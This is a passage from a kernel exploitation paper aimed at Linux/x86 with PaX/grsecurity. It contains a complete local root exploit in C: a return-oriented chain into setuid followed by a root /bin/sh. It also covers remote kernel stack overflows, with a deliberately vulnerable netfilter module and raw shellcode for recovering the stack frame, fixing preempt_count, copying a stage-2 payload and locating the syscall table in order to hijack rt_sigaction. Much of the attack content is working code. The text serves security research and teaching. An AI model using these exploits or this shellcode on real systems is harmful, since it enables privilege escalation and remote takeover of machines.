#define ALTERNATE_STACK 0x00BBBBBB

/*2283d*/

#define RET_INTO_RET_STR "\x3d\x28\x02\x00"

#define DUMMY RET_INTO_RET_STR

#define ZERO "\x00\x00\x00\x00"

/* 22ad3 */

#define RET_INTO_POP_EBX "\xd3\x2a\x02\x00"

/* 1360 */

#define RET_INTO_IRET "\x60\x13\x00\x00"

/* 227fc */

#define RET_INTO_SETUID "\xfc\x27\x02\x00"

// do_eip at .text offset (rivedere)

// 0804864f

#define USER_CODE_OFFSET "\x4f\x86\x04\x08"

#define USER_CODE_SEGMENT "\x73\x00\x00\x00"

#define USER_EFLAGS "\x46\x02\x00\x00"

#define USER_STACK_OFFSET "\xbb\xbb\xbb\x00"

#define USER_STACK_SEGMENT "\x7b\x00\x00\x00"

/* sys_setuid ‑ grsec kernel */

/*

227fc: 89 e2 mov %esp,%edx

227fe: 89 f1 mov %esi,%ecx

22800: 81 e2 00 e0 ff ff and $0xffffe000,%edx 22806: 8b 02 mov (%edx),%eax 22808: 89 98 50 01 00 00 mov %ebx,0x150(%eax) 2280e: 89 98 58 01 00 00 mov %ebx,0x158(%eax) 22814: 8b 02 mov (%edx),%eax 22816: 89 fa mov %edi,%edx

22818: 89 a8 54 01 00 00 mov %ebp,0x154(%eax) 2281e: c7 44 24 18 01 00 00 movl $0x1,0x18(%esp) 22825: 00

22826: 8b 04 24 mov (%esp),%eax 22829: 5d pop %ebp

2282a: 5b pop %ebx

2282b: 5e pop %esi

2282c: 5f pop %edi

2282d: 5d pop %ebp

2282e: e9 ef d5 0c 00 jmp efe22 <cap_task_post_setuid>

22833: 83 ca ff or $0xffffffff,%edx 22836: 89 d0 mov %edx,%eax

22838: 5f pop %edi

22839: 5b pop %ebx

2283a: 5e pop %esi

2283b: 5f pop %edi

2283c: 5d pop %ebp

2283d: c3 ret

*/

/* pop %ebx, ret grsec

*

* ffd1a884: 5b pop %ebx

* ffd1a885: c3 ret

*/

char *g_prog_name;

char kern_noexec_shellcode[] =

RET_INTO_RET_STR

RET_INTO_RET_STR

RET_INTO_RET_STR

RET_INTO_RET_STR

RET_INTO_RET_STR

RET_INTO_RET_STR

RET_INTO_RET_STR

RET_INTO_RET_STR

RET_INTO_RET_STR

RET_INTO_RET_STR

RET_INTO_RET_STR

RET_INTO_RET_STR

RET_INTO_RET_STR

RET_INTO_RET_STR

RET_INTO_RET_STR

RET_INTO_RET_STR

RET_INTO_POP_EBX

ZERO

RET_INTO_SETUID

RET_INTO_RET_STR

RET_INTO_RET_STR

RET_INTO_RET_STR

RET_INTO_POP_EBX

RET_INTO_POP_EBX

RET_INTO_POP_EBX

RET_INTO_POP_EBX

RET_INTO_POP_EBX

RET_INTO_POP_EBX

RET_INTO_POP_EBX

RET_INTO_POP_EBX

RET_INTO_RET_STR

RET_INTO_RET_STR

RET_INTO_IRET

USER_CODE_OFFSET

USER_CODE_SEGMENT

USER_EFLAGS

USER_STACK_OFFSET

USER_STACK_SEGMENT

;

void re_exec(int useless)

{

char *a[3] = { g_prog_name, "exec", NULL }; execve(g_prog_name, a, NULL);

}

char *allocate_jump_stack(unsigned int jump_addr, unsigned int size) {

unsigned int round_addr = jump_addr & 0xFFFFF000;

unsigned int diff = jump_addr ‑ round_addr;

unsigned int len = (size + diff + 0xFFF) & 0xFFFFF000; char *map_addr = mmap((void*)round_addr, len, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0,

0);

if(map_addr == (char*)‑1)

return NULL;

memset(map_addr, 0x00, len);

return map_addr;

}

char *allocate_jump_code(unsigned int jump_addr, void* code, unsigned int size)

{

unsigned int round_addr = jump_addr & 0xFFFFF000;

unsigned int diff = jump_addr ‑ round_addr;

unsigned int len = (size + diff + 0xFFF) & 0xFFFFF000;

char *map_addr = mmap((void*)round_addr, len, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, 0,

0);

if(map_addr == (char*)‑1)

return NULL;

memset(map_addr, NOP, len);

memcpy(map_addr+diff, code, size);

return map_addr + diff;

}

inline void patch_code_4byte(char *code, unsigned int offset, unsigned int value)

{

*((unsigned int *)(code + offset)) = value;

}

int main(int argc, char *argv[])

{

if(argc > 1)

{

int ret;

char *argvx[] = {"/bin/sh", NULL};

ret = setuid(0);

printf("euid=%d, ret=%d\n", geteuid(), ret); execve("/bin/sh", argvx, NULL);

exit(1);

}

signal(SIGSEGV, re_exec);

g_prog_name = argv[0];

char *stack_jump = allocate_jump_stack(ALTERNATE_STACK, PAGE_SIZE);

if(!stack_jump)

{

fprintf(stderr, "Exiting: mmap failed");

exit(1);

}

char *memory = malloc(PAGE_SIZE), *mem_orig;

mem_orig = memory;

memset(memory, 0xDD, PAGE_SIZE);

struct device_io_ctl *ptr = (struct device_io_ctl*)memory; ptr‑>chunk_num = 9 + (sizeof(kern_noexec_shellcode)‑1)/sizeof(struct device_io_blk) + 1;

printf("Chunk num: %d\n", ptr‑>chunk_num);

ptr‑>type = 0xFFFFFFFF;

memory += (sizeof(struct device_io_ctl) + sizeof(struct device_io_blk) * 9);

/* copy shellcode */

memcpy(memory, kern_noexec_shellcode, sizeof(kern_noexec_shellcode)‑1);

int i, fd = open(DEVICE, O_RDONLY);

if(fd < 0)

return 0;

ioctl(fd, KERN_IOCTL_STORE_CHUNK, (unsigned long)mem_orig); return 0;

}

< / >

As we said, we have chosen the PaX security patches for Linux/x86, but some of the theory presented equally works well in other situation. A slightly different exploiting approach was successfully used on Solaris/SPARC. (we leave it as an 'exercise' for the reader ;))

‑‑‑[ 3.2 ‑ Remote Kernel Exploiting

Writing a working and somehow reliable remote kernel exploit is an exciting and interesting challenge. Keeping on with the 'style' of this paper we're going to propose here a couple of tecniques and 'life notes' that leaded us into succeeding into writing an almost reliable, image independant and effective remote exploit.

After the first draft of this paper, a couple of things changed, so some of the information presented here could be outdated in the very latest kernels (and compiler releases), but are anyway a good base for the tractation (we've added notes all around this chapter about changes and updates into the recent releases of the linux kernel).

A couple of the ideas presented here converged into a real remote exploit for the madwifi remote kernel stack buffer overflow [21], that we already released [22], without examining too much in detail the explotation approaches used. This chapter can be thus seen both as the introduction and the extension of that work.

More precisely we will cover here also the exploiting issues and solution when dealing with code running in interrupt context, which is the most common running mode for network based code (interrupt handler, softirq, etc) but which wasn't the case for the madwifi exploit.

The same ideas apply well to kernel thread context too.

Explotation tecniques and discussion is based on stack based buffer overflow on the Linux 2.6.* branch of kernels on the x86 architecture, but can be reused in most of the conditions that lead us to take control over the instruction flow.

‑‑‑‑‑‑[ 3.2.1 ‑ The Network Contest

We begin with a few considerations about the typology of kernel code that we'll be dealing with. Most of that code runs in interrupt context (and sometimes in a kernel thread context), so we have some 'limitations' :

‑ we can't directly 'return‑to‑userspace', since we don't have a valid current task pointer. Moreover, most of times, we won't control the address space of the userland process we talk with. Netherless we can relay on some 'fixed' points, like the ELF header (given there's no PIE / .text randomization on the remote box)

‑ we can't perform any action that might make the kernel path to sleep (for example a memory fault access)

‑ we can't directly call a system call

‑ we have to take in account kernel resource management, since such kind of kernel paths usually acquire spinlocks or disables pre‑emption. We have to restore them in a stable state.

Logically, since we are from remote, we don't have any information about structs or kernel paths addresses, so, since a good infoleaking is usually a not very probable situation, we can't rely on them.

We have prepared a crafted example that will let us introduce all the tecniques involved to solve the just stated problems. We choosed to write a netfilter module, since quite a lot of the network kernel code depends on it and it's the main framework for third part modules.

< stuff/drivers/linux/remote/dummy_remote.c >

#define MAX_TWSKCHUNK 30

#define TWSK_PROTO 37

struct twsk_chunk

{

int type;

char buff[12];

};

struct twsk

{

int chunk_num;

struct twsk_chunk chunk[0];

};

static int process_twsk_chunk(struct sk_buff *buff)

{

struct twsk_chunk chunks[MAX_TWSKCHUNK];

struct twsk *ts = (struct twsk *)((char*)buff‑>nh.iph + (buff‑>nh.iph‑>ihl * 4));

if(ts‑>chunk_num > MAX_TWSKCHUNK) [1]

return (NF_DROP);

printk(KERN_INFO "Processing TWSK packet: packet frame n. %d\n", ts‑>chunk_num);

memcpy(chunks, ts‑>chunk, sizeof(struct twsk_chunk) * ts‑>chunk_num); [2]

// do somethings..

return (NF_ACCEPT);

}

< / >

We have a signedness issue at [1], which triggers a later buffer overflow at [2], writing past the local 'chunks' buffer.

As we just said, we must know everything about the vulnerable function, that is, when it runs, under which 'context' it runs, what calls what, how would the stack look like, if there are spinlocks or other control management objects acquired, etc.

A good starting point is dumping a stack trace at calling time of our function :

#1 0xc02b5139 in nf_iterate (head=0xc042e4a0, skb=0xc1721ad0, hook=0, [1] indev=0xc1224400, outdev=0x0, i=0xc1721a88, okfn=0xc02bb150 <ip_rcv_finish>, hook_thresh=‑2147483648) at net/netfilter/core.c:89

#2 0xc02b51b9 in nf_hook_slow (pf=2, hook=1, pskb=0xc1721ad0, [2] indev=0xc1224400, outdev=0x0, okfn=0xc02bb150 <ip_rcv_finish>, hook_thresh=‑2147483648) at net/netfilter/core.c:125

#3 0xc02baee3 in ip_rcv (skb=0xc1bc4a40, dev=0xc1224400, pt=0xc0399310, orig_dev=0xc1224400) at net/ipv4/ip_input.c:348

#4 0xc02a5432 in netif_receive_skb (skb=0xc1bc4a40) at net/core/dev.c:1657

#5 0xc024d3c2 in rtl8139_rx (dev=0xc1224400, tp=0xc1224660, budget=64) at drivers/net/8139too.c:2030

#6 0xc024d70e in rtl8139_poll (dev=0xc1224400, budget=0xc1721b78) at drivers/net/8139too.c:2120

#7 0xc02a5633 in net_rx_action (h=0xc0417078) at net/core/dev.c:1739 #8 0xc0118a75 in __do_softirq () at kernel/softirq.c:95

#9 0xc0118aba in do_softirq () at kernel/softirq.c:129 [3] #10 0xc0118b7d in irq_exit () at kernel/softirq.c:169

#11 0xc0104212 in do_IRQ (regs=0xc1721ad0) at arch/i386/kernel/irq.c:110 #12 0xc0102b0a in common_interrupt () at current.h:9

#13 0x0000110b in ?? ()

Our vulnerable function (just like any other hook) is called serially by the nf_iterate one [1], during the processing of a softirq [3], through the netfilter core interface nf_hook_slow [2].

It is installed in the INPUT chain and, thus, it starts processing packets whenever they are sent to the host box, as we see from [2] where pf = 2 (PF_INET) and hook = 1 (NF_IP_LOCAL_IN).

Our final goal is to execute some kind of code that will estabilish a connection back to us (or bind a port to a shell, or whatever kind of shellcoding you like more for your remote exploit). Trying to execute it directly from kernel land is obviously a painful idea so we need to hijack some userland process (remember that we are on top of a softirq, so we have no clue about what's really beneath us; it could equally be a kernel thread or the idle task, for example) as our victim, to inject some code inside and force the kernel to call it later on, when we're out of an asyncronous event.

That means that we need an intermediary step between taking the control over the flow at 'softirq time' and execute from the userland process. But let's go on order, first of all we need to _start executing_ at least the entry point of our shellcode.

As it is nowadays used in many exploit that have to fight against address space randomization in the absence of infoleaks, we look for a jump to a jmp *%esp or push reg/ret or call reg sequence, to start executing from a known point.

To avoid guessing the right return value a nop‑alike padding of ret‑into‑ret addresses can be used. But we still need to find those opcodes in a 'fixed' and known place.

The 2.6. branch of kernel introduced a fixed page [*] for the support of the 'sysenter' instruction, the 'vsyscall' one :

bfe37000‑bfe4d000 rwxp bfe37000 00:00 0 [stack] ffffe000‑fffff000 ‑‑‑p 00000000 00:00 0 [vdso]

which is located at a fixed address : 0xffffe000 ‑ 0xfffff000.

[*] At time of release this is no more true on latest kernels, since the address of the vsyscall page is randomized starting from the 2.6.18 kernel.

The 'vsyscall' page is a godsend for our 'entry point' shellcode, since we can locate inside it the required opcodes [*] to start executing :

(gdb) x/i 0xffffe75f

0xffffe75f: jmp *%esp

(gdb) x/i 0xffffe420

0xffffe420: ret

[*] After testing on a wide range of kernels/compilers the addresses of those opcodes we discovered that sometimes they were not in the expected place or, even, in one case, not present. This could be the only guessing part you could be facing (also due to vsyscall randomization, as we said in the note before), but there are (depending on situations) other possibilities [fixed start of the kernel image, fixed .text of the 'running process' if out of interrupt context, etc].

To better figure out how the layout of the stack should be after the overflow, here there's a small schema :

+‑‑‑‑‑‑‑‑‑‑‑‑‑+

| |

| |

| JMP ‑N |‑‑‑‑‑‑‑+ # N is the size of the buffer plus some bytes

| | | (ret‑to‑ret chain + jmp space)

| | |

| ret‑to‑jmp |<‑+ | # the address of the jmp *%esp inside vsyscall | | | |

| ......... | ‑+ |

| | | |

| ret‑to‑ret | ‑+ | # the address of 'ret' inide vsyscall | | | |

| ret‑to‑ret | ‑+ |

| | |

| overwritten | | # ret‑to‑ret padding starting from there | ret address | |

| | |

| | |

| ^ | |

| | | | # shellcode is placed inside the buffer

| | | because it's huge, but it could also be

| shellcode | | splitted before and after the ret addr. | nop | |

| nop |<‑‑‑‑‑‑+

+‑‑‑‑‑‑‑‑‑‑‑‑‑+

At that point we control the flow, but we're still inside the softirq, so we need to perform a couple of tasks to cleanly get our connect back shellcode executed :

‑ find a way to cleanly get out from the softirq, since we trashed the stack

‑ locate the resource management objects that have been modified (if the've been) and restore them to a safe state

‑ find a place where we can store our shellcode untill later execution from a 'process context' kernel path.

‑ find a way to force the before mentioned kernel path to execute our shellcode

The first step is the most difficult one (and wasn't necessary in the madwifi exploit, since we weren't in interrupt context), because we've overwritten the original return pointer and we have no clue about the kernel text layout and addresses.

We're going now to present tecniques and a working shellcode for each one of the above points. [ Note that we have mentioned them in a 'conceptual order of importance', which is different from the real order that we use inside the exploit. More precisely, they are almost in reverse order, since the last step performed by our shellcode is effectively getting out from the softirq. We felt that approach more well‑explanatory, just remember that note during the following sub‑chapters]

‑‑‑‑‑‑[ 3.2.2 ‑ Stack Frame Flow Recovery

The goal of this tecnique is to unroll the stack, looking for some known pattern and trying to reconstruct a caller stack frame, register status and instruction pointing, just to continue over with the normal flow. We need to restore the stack pointer to a known and consistent state, restore register contents so that the function flow will exit cleanily and restore any lock or other syncronization object that was modified by the functions among the one we overflowed in and the one we want to 'return to'.

Our stack layout (as seen from the dump pasted above) would basically be that one :

stack layout

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ bottom of stack

| |

| do_softirq() |

| .......... | /* nf_hook_slow() stack frame */

| .......... | +‑‑‑

| | | argN |

| | | .

| ip_rcv | | arg2 |

| nf_hook_slow | =========> | arg1 |

| ip_rcv_finish | | ret‑to‑(ip_rcv()) |

| nf_iterate | | saved reg1 |

| | | saved reg2 |

| | | .

| .............. | +‑‑‑

| .............. |

| process_twsk_chunk |

| |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ top of stack

As we said, we need to locate a function in the previous stack frames, not too far from our overflowing one, having some 'good pattern' that would help us in our search.

Our best bet, in that situation, is to check parameter passing :

#2 0xc02b51b9 in nf_hook_slow (pf=2, hook=1, pskb=0xc1721ad0, indev=0xc1224400, outdev=0x0, ....)

The 'nf_hook_slow()' function has a good 'signature' :

‑ two consecutive dwords 0x00000002 and 0x00000002

‑ two kernel pointers (dword > 0xC0000000)

‑ a following NULL dword

We can relay on the fact that this pattern would be a constant, since we're in the INPUT chain, processing incoming packets, and thus always having a NULL 'outdev', pf = 2 and hook = 1.

Parameters passing is logically not the only 'signature' possible : depending on situations you could find a common pattern in some local variable (which would be even a better one, because we discovered that some versions of GCC optimize out some parameters, passing them through registers).

Scanning backward the stack from the process_twsk_chunk() frame up to the nf_hook_slow() one, we can later set the %esp value to the place where is saved the return address of nf_hook_slow(), and, once recreated the correct conditions, perform a 'ret' that would let us exit cleanily. We said 'once recreated the correct conditions' because the function could expect some values inside registers (that we have to set) and could expect some 'lock' or 'preemption set' different from the one we had at time of overflowing. Our task is thus to emulate/restore all those requirements.

To achieve that, we can start checking how gcc restores registers during function epilogue :

c02b6b30 <nf_hook_slow>:

c02b6b30: 55 push %ebp

c02b6b31: 57 push %edi

c02b6b32: 56 push %esi

c02b6b33: 53 push %ebx

[...]

c02b6bdb: 89 d8 mov %ebx,%eax

c02b6bdd: 5a pop %edx ==+ c02b6bde: 5b pop %ebx | c02b6bdf: 5e pop %esi | restore c02b6be0: 5f pop %edi | c02b6be1: 5d pop %ebp =+ c02b6be2: c3 ret

This kind of epilogue, which is common for non‑short functions let us recover the state of the saved register. Once we have found the 'ret' value on the stack we can start 'rolling back' counting how many 'pop' are there inside the text to correctly restore those register. [*]

[*] This is logically not the only possibility, one could set directly the values via movl, but sometimes you can't use 'predefined' values for those register. As a side note, some versions of the gcc compiler don't use the push/pop prologue/epilogue, but translate the code as a sequence of movl (which need a different handling from the shellcode).

To correctly do the 'unrolling' (and thus locate the pop sequence), we need the kernel address of 'nf_hook_slow()'. This one is not hard to calculate since we have already found on the stack its return addr (thanks to the signature pointed out before). Once again is the intel calling procedures convention which help us :

[...]

c02bc8bd: 6a 02 push $0x2

c02bc8bf: e8 6c a2 ff ff call c02b6b30 <nf_hook_slow> c02bc8c4: 83 c4 1c add $0x1c,%esp

[...]

That small snippet of code is taken from ip_rcv(), which is the function calling nf_hook_slow(). We have found on the stack the return address, which is 0xc02bc8c4, so calculating the nf_hook_slow address is just a matter of calculating the 'displacement' used in the relative call (opcode 0xe8, the standard calling convention on kernel gcc‑compiled code) and adding it to the return addr value (INTEL relative call convention adds the displacement to the current EIP) :

[*] call to nf_hook_slow ‑> 0xe8 0x6c 0x2a 0xff 0xff

[*] nf_hook_slow address ‑> 0xc02bc8c4 + 0xffffa26c = 0xc02b6b30

To better understand the whole Stack Frame Flow Recovery approach here's the shellcode stub doing it, with short comments :

‑ Here we increment the stack pointer with the 'pop %eax' sequence and test for the known signature [ 0x2 0x1 X X 0x0 ].

loop:

"\x58" // pop %eax

"\x83\x3c\x24\x02" // cmpl $0x2,(%esp)

"\x75\xf9" // jne loop

"\x83\x7c\x24\x04\x01" // cmpl $0x1,0x4(%esp)

"\x75\xf2" // jne loop

"\x83\x7c\x24\x10\x00" // cmpl $0x0,0x10(%esp)

"\x75\xeb" // jne loop

"\x8d\x64\x24\xfc" // lea 0xfffffffc(%esp),%esp

‑ get the return address, subtract 4 bytes and deference the pointer to get the nf_hook_slow() offset/displacement. Add it to the return address to obtain the nf_hook_slow() address.

"\x8b\x04\x24" // mov (%esp),%eax

"\x89\xc3" // mov %eax,%ebx

"\x03\x43\xfc" // add 0xfffffffc(%ebx),%eax

‑ locate the 0xc3 opcode inside nf_hook_slow(), eliminating 'spurious' 0xc3 bytes. In this shellcode we do a simple check for 'movl' opcodes and that's enough to avoid 'false positive'. With a larger shellcode one could write a small disassembly routine that would let perform a more precise locating of the 'ret' and 'pop' [see later].

increment:

"\x40" // inc %eax

"\x8a\x18" // mov (%eax),%bl

"\x80\xfb\xc3" // cmp $0xc3,%bl

"\x75\xf8" // jne increment

"\x80\x78\xff\x88" // cmpb $0x88,0xffffffff(%eax)

"\x74\xf2" // je increment

"\x80\x78\xff\x89" // cmpb $0x89,0xffffffff(%eax)

"\x74\xec" // je 8048351 increment

‑ roll back from the located 'ret' up to the last pop instruction, if any and count the number of 'pop's.

pop:

"\x31\xc9" // xor %ecx,%ecx

"\x48" // dec %eax

"\x8a\x18" // mov (%eax),%bl

"\x80\xe3\xf0" // and $0xf0,%bl

"\x80\xfb\x50" // cmp $0x50,%bl

"\x75\x03" // jne end

"\x41" // inc %ecx

"\xeb\xf2" // jmp pop

"\x40" // inc %eax

‑ use the calculated byte displacement from ret to rollback %esp value

"\x89\xc6" // mov %eax,%esi

"\x31\xc0" // xor %eax,%eax

"\xb0\x04" // mov $0x4,%al

"\xf7\xe1" // mul %ecx

"\x29\xc4" // sub %eax,%esp

‑ set the return value

"\x31\xc0" // xor %eax,%eax

‑ call the nf_hook_slow() function epilog

"\xff\xe6" // jmp *%esi

It is now time to pass to the 'second step', that is restore any pending lock or other synchronization object to a consistent state for the nf_hook_slow() function.

‑‑‑[ 3.2.3 ‑ Resource Restoring

At that phase we care of restoring those resources that are necessary for the 'hooked return function' (and its callers) to cleanly get out from the softirq/interrupt state.

Let's take another (closer) look at nf_hook_slow() :

< linux‑2.6.15/net/netfilter/core.c >

int nf_hook_slow(int pf, unsigned int hook, struct sk_buff **pskb, struct net_device *indev,

struct net_device *outdev,

int (*okfn)(struct sk_buff *), int hook_thresh)

{

struct list_head *elem;

unsigned int verdict;

int ret = 0;

/* We may already have this, but read‑locks nest anyway */

rcu_read_lock();[1]

[...]

unlock:

rcu_read_unlock();[2]

return ret;[3]

}

< / >

At [1] 'rcu_read_lock()' is invoked/acquired, but [2] 'rcu_read_unlock()' is never performed, since at the 'Stack Frame Flow Recovery' step we unrolled the stack and jumped back at [3].

'rcu_read_unlock()' is just an alias of preempt_enable(), which, in the end, results in a one‑decrement of the preempt_count value inside the thread_info struct :

< linux‑2.6.15/include/linux/rcupdate.h >

#define rcu_read_lock() preempt_disable()

[...]

#define rcu_read_unlock() preempt_enable()

< / >

< linux‑2.6.15/include/linux/preempt.h >

# define add_preempt_count(val) do { preempt_count() += (val); } while (0) # define sub_preempt_count(val) do { preempt_count() ‑= (val); } while (0)

[...]

#define inc_preempt_count() add_preempt_count(1)

#define dec_preempt_count() sub_preempt_count(1)

#define preempt_count() (current_thread_info()‑>preempt_count)

#ifdef CONFIG_PREEMPT

asmlinkage void preempt_schedule(void);

#define preempt_disable() \

do { \

inc_preempt_count(); \

barrier(); \

} while (0)

#define preempt_enable_no_resched() \

do { \

barrier(); \

dec_preempt_count(); \

} while (0)

#define preempt_check_resched() \

do { \

if (unlikely(test_thread_flag(TIF_NEED_RESCHED))) \ preempt_schedule(); \

} while (0)

#define preempt_enable() \

do { \

preempt_enable_no_resched(); \

barrier(); \

preempt_check_resched(); \

} while (0)

#else

#define preempt_disable() do { } while (0)

#define preempt_enable_no_resched() do { } while (0)

#define preempt_enable() do { } while (0)

#define preempt_check_resched() do { } while (0)

#endif

< / >

As you can see, if CONFIG_PREEMPT is not set, all those operations are just no‑ops. 'preempt_disable()' is nestable, so it can be called multiple times (preemption will be disabled untill we call 'preempt_enable()' the same number of times). That means that, given a PREEMPT kernel, we should find a value equal or greater to '1' inside preempt_count at 'exploit time'. We can't just ignore that value or otherwise we'll BUG() later on inside scheduler code (check preempt_schedule_irq() in kernel/sched.c).

What we have to do, on a PREEMPT kernel, is thus locate 'preempt_count' and decrement it, just like 'rcu_read_unlock()' would do.

For the x86 architecture , 'preempt_count' is stored inside the 'struct thread_info' :

< linux‑2.6.15/include/asm‑i386/thread_info.h >

struct thread_info {

struct task_struct *task; /* main task structure */

struct exec_domain *exec_domain; /* execution domain */

unsigned long flags; /* low level flags */

unsigned long status; /* thread‑synchronous

flags */

__u32 cpu; /* current CPU */

int preempt_count; /* 0 => preemptable, <0 =>

BUG */

mm_segment_t addr_limit; /* thread address space:

0‑0xBFFFFFFF for

user‑thead

0‑0xFFFFFFFF for

kernel‑thread

[...]

< / >

Let's see how we get to it :

‑ locate the thread_struct

"\x89\xe0" // mov %esp,%eax

"\x25\x00\xe0\xff\xff" // and $0xffffe000,%eax

‑ scan the thread_struct to locate the addr_limit value. This value is a good fingerprint, since it is 0xc0000000 for an userland process and 0xffffffff for a kernel thread (or the idle task). [note that this kind of scan can be used to figure out in which kind of process we are, something that could be very important in some scenario]

/* scan: */

"\x83\xc0\x04" // add $0x4,%eax

"\x8b\x18" // mov (%eax),%ebx

"\x83\xfb\xff" // cmp $0xffffffff,%ebx

"\x74\x0a" // je 804851e <end>

"\x81\xfb\x00\x00\x00\xc0" // cmp $0xc0000000,%ebx

"\x74\x02" // je 804851e <end>

"\xeb\xec" // jmp 804850a <scan>

‑ decrement the 'preempt_count' value [which is just the member above the addr_limit one]

/* end: */

"\xff\x48\xfc" // decl 0xfffffffc(%eax)

To improve further the shellcode it would be a good idea to perform a test over the preempt_count value, so that we would not end up into lowering it below zero.

‑‑‑[ 3.2.4 ‑ Copying the Stub

We have just finished presenting a generic method to restore the stack after a 'general mess‑up' of the netfilter core call‑frames.

What we have to do now is to find some place to store our shellcode, since we can't (as we said before) directly execute from inside interrupt context. [remember the note, this step and the following one are executed before getting out from the softirq context].

Since we don't know almost anything about the remote kernel image memory mapping we need to find a 'safe place' to store the shellcode, that is, we need to locate some memory region that we can for sure reference and that won't create problems (read : Oops) if overwritten.

There are two places where we can copy our 'stage‑2' shellcode :

‑ IDT (Interrupt Descriptor Table) : we can easily get the IDT logical address at runtime (as we saw previously in the NULL dereference example) and Linux uses only the 0x80 software interrupt vector :

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| exeption |

| entries |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| hw interrupt |

| entries |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| entry #32 ==+

| | |

| soft interrupt | |

| entries | | usable gap

| | |

| | |

| | ==+

| int 0x80 | entry #128

| |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ <‑ offset limit

Between entry #32 and entry #128 we have all unused descriptor entries, each 8 bytes long. Linux nowadays doesn't map that memory area as read‑only [as it should be], so we can write on it [*]. We have thus : (128 ‑ 32) * 8 = 98 * 8 = 784 bytes, which is enough for our 'stage‑2 shellcode'.

[*] starting with the Linux kernel 2.6.20 it is possible to map some areas as read‑only [the idt is just one of those]. Since we don't 'start' writing into the IDT area and executing from there, it is possible to bypass that protection simply modifying directly kernel page tables protection in 'previous stages' of the shellcode.

‑ the current kernel stack : we need to make a little assumption here, that is being inside a process that would last for some time (untill we'll be able to redirect kernel code over our shellcode, as we will see in the next section).

Usually the stack doesn't grow up to 4kb, so we have an almost free 4kb page for us (given that the remote system is using an 8kb stack space). To be safe, we can leave some pad space before the shellcode. We need to take care of the 'struct thread_struct' saved at the 'bottom' of the kernel stack (and that logically we don't want to overwrite ;) ) :

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| thread_struct |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ | ==+

| | | usable gap

| | |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| ==+

| |

| ^ |

| | | [ normally the stack doesn't ]

| | | [ grow over 4kb ]

| |

| ring0 stack |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

Alltogether we have : (8192 ‑ 4096) ‑ sizeof(descriptor) ‑ pad ~= 2048 bytes, which is even more than before.

With a more complex shellcode we can traverse the process table and look forward for a 'safe process' (init, some kernel thread, some main server process).

Let's give a look to the shellcode performing that task :

‑ get the stack address where we are [the uber‑famous call/pop trick]

"\xe8\x00\x00\x00\x00" // call 51 <search+0x29>

"\x59" // pop %ecx

‑ scan the stack untill we find the 'start marker' of our stage‑2 stub. We put a \xaa byte at the start of it, and it's the only one present in the shellcode. The addl $10 is there just to start scanning after the 'cmp $0xaa, %al', which would otherwise give a false positive for \xaa.

"\x83\xc1\x10" // addl $10, %ecx

"\x41" // inc %ecx

"\x8a\x01" // mov (%ecx),%al

"\x3c\xaa" // cmp $0xaa,%al

"\x75\xf9" // jne 52 <search+0x2a>

‑ we have found the start of the shellcode, let's copy it in the 'safe place' untill the 'end marker' (\xbb). The 'safe place' here is saved inside the %esi register. We haven't shown how we calculated it because it directly derives from the shellcode used in the next section (it's simply somwhere in the stack space). This code could be optimized by saving the 'stage‑2' stub size in %ecx and using rep/repnz in conjuction with mov instructions.

"\x41" // inc %ecx

"\x8a\x01" // mov (%ecx),%al

"\x88\x06" // mov %al,(%esi)

"\x46" // inc %esi

"\x41" // inc %ecx

"\x80\x39\xbb" // cmpb $0xbb,(%ecx)

"\x75\xf5" // jne 5a <search+0x32>

[during the develop phase of the exploit we have changed a couple of times the 'stage‑2' part, that's why we left that kind of copy operation, even if it's less elegant :) ]

‑‑‑[ 3.2.5 ‑ Executing Code in Userspace Context [Gimme Life!]

Okay, we have a 'safe place', all we need now is a 'safe moment', that is a process context to execute in. The first 'easy' solution that could come to your mind could be overwriting the #128 software interrupt [int $0x80], so that it points to our code. The first process issuing a system call would thus become our 'victim process‑context'.

This approach has, thou, two major drawbacks :

‑ we have no way to intercept processes using sysenter to access kernel space (what if all were using it ? It would be a pretty odd way to fail...)

‑ we can't control which process is 'hooked' and that might be 'disastrous' if the process is the init one or a critical one, since we'll borrow its userspace to execute our shellcode (a bindshell or a connect‑back is not a short‑lasting process).

We have to go a little more deeper inside the kernel to achieve a good hooking. Our choice was to use the syscall table and to redirect a system call which has an high degree of possibility to be called and that we're almost sure that isn't used inside init or any critical process. Our choice, after a couple of tests, was to hook the rt_sigaction syscall, but it's not the only one. It just worked pretty well for us.

To locate correctly in memory the syscall table we use the stub of code that sd and devik presented in their phrack paper [23] about /dev/kmem patching:

‑ we get the current stack address, calculate the start of the thread_struct and we add 0x1000 (pad gap) [simbolic value far enough from both the end of the thread_struct and the top of stack]. Here is where we set that %esi value that we have presented as 'magically already there' in the shellcode‑part discussed before.

"\x89\xe6" // mov %esp,%esi

"\x81\xe6\x00\xe0\xff\xff" // and $0xffffe000,%esi

"\x81\xc6\x00\x10\x00\x00" // add $0x1000,%esi

‑ sd & devik sligthly re‑adapted code.

"\x0f\x01\x0e" // sidtl (%esi)

"\x8b\x7e\x02" // mov 0x2(%esi),%edi

"\x81\xc7\x00\x04\x00\x00" // add $0x400,%edi

"\x66\x8b\x5f\x06" // mov 0x6(%edi),%bx

"\xc1\xe3\x10" // shl $0x10,%ebx

"\x66\x8b\x1f" // mov (%edi),%bx

"\x43" // inc %ebx

"\x8a\x03" // mov (%ebx),%al

"\x3c\xff" // cmp $0xff,%al

"\x75\xf9" // jne 28 <search>

"\x8a\x43\x01" // mov 0x1(%ebx),%al

"\x3c\x14" // cmp $0x14,%al

"\x75\xf2" // jne 28 <search>

"\x8a\x43\x02" // mov 0x2(%ebx),%al

"\x3c\x85" // cmp $0x85,%al

"\x75\xeb" // jne 28 <search>

"\x8b\x5b\x03" // mov 0x3(%ebx),%ebx

